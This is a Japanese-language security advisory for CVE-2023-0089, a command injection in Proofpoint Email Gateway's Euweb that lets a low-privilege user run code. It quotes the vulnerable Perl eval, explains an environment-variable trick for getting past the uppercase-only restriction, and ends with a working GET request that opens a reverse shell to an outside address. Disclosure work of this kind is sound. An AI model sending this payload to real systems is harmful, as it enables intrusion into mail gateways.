
Proofpoint Email Gateway:低権限の認証ユーザーから管理者へのRCE
セキュリティ研究者: ly1g3, ly1g3[at]tuta.io
GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
概要: Remote Code Execution - 低権限認証ユーザーから管理者RCE
CVE: CVE-2023-0089
タイムライン:
Proofpoint Messaging Security Gateway のエクスプロイト
Euweb の低権限(認証済み)ユーザーが管理者権限で任意のコード実行を獲得できます。
Euwebutils.pm の getMsgType 関数はコマンドインジェクションに対して脆弱です。$module 変数はGETパラメータから取得され、このユーザー入力に対してサニタイズが適用されていません。
sub getMsgType {
...
else {
$msgtype = eval "Proofpoint::Digest::PROOFPOINT_MAIL_REPORT_MSGTYPE_".uc($module);
}
この getMsgType 関数は Euweb アプリケーションで使用される多くのAPIコールで利用されるため、エクスプロイトは様々な方法でトリガーできます。
すべての文字が大文字でなければならないため、環境変数を使用して小文字の制限を回避できます。例: b の代わりに ${SHELL:1:1}
use strict が使用されているため、MAIL_GENERAL() を文字列の先頭に追加して PROOFPOINT_MAIL_REPORT_MSGTYPE_ を完成させることができます。この後にカスタムPerlコードを追加できます。
エンコードされていないペイロード例: MAIL_GENERAL();`id`
小文字制限を回避するために環境変数を使用してエンコードされたリバースシェル。コードは pps ユーザーとして実行。
GET /euweb/euweb?cmd=x_releasemsg&id=0&func=ReleaseMsg&entries=23%3A23%3A12&eid=3&module=MAIL_GENERAL()%3b`/\${SHELL%3a1%3a1}\${SHELL%3a2%3a1}\${LANG%3a1%3a1}/\${USER%3a2%3a1}\${SHELL%3a8%3a1}+-\${SHELL%3a2%3a1}+>%26+/\${SSH_TTY%3a1%3a1}\${TERM%3a2%3a1}\${MAIL%3a1%3a1}/\${TERM%3a1%3a1}\${TERM%3a9%3a1}\${USER%3a0%3a1}/192.168.80.81/443+0>%261`